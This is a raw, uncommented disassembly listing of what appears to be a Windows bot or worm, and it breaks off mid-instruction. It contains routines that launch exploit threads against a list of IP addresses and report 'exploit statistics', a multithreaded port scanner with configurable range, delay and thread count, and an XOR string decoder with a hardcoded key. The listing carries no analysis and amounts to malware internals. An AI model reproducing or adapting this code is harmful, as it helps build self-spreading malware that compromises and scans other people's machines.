cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CE7C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41CF28 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_47C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CEF8 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CEB4 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, byte_41CCA8[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push dword_41CCD2[eax] push offset dword_41CF7C lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and dword_41CCD2[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D028 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41CFF0 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41CFC0 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D058 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D0C8 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call dword_41709C ; Sleep loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 ; clock mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D0B4 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 ; clock sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D078 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D110 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; 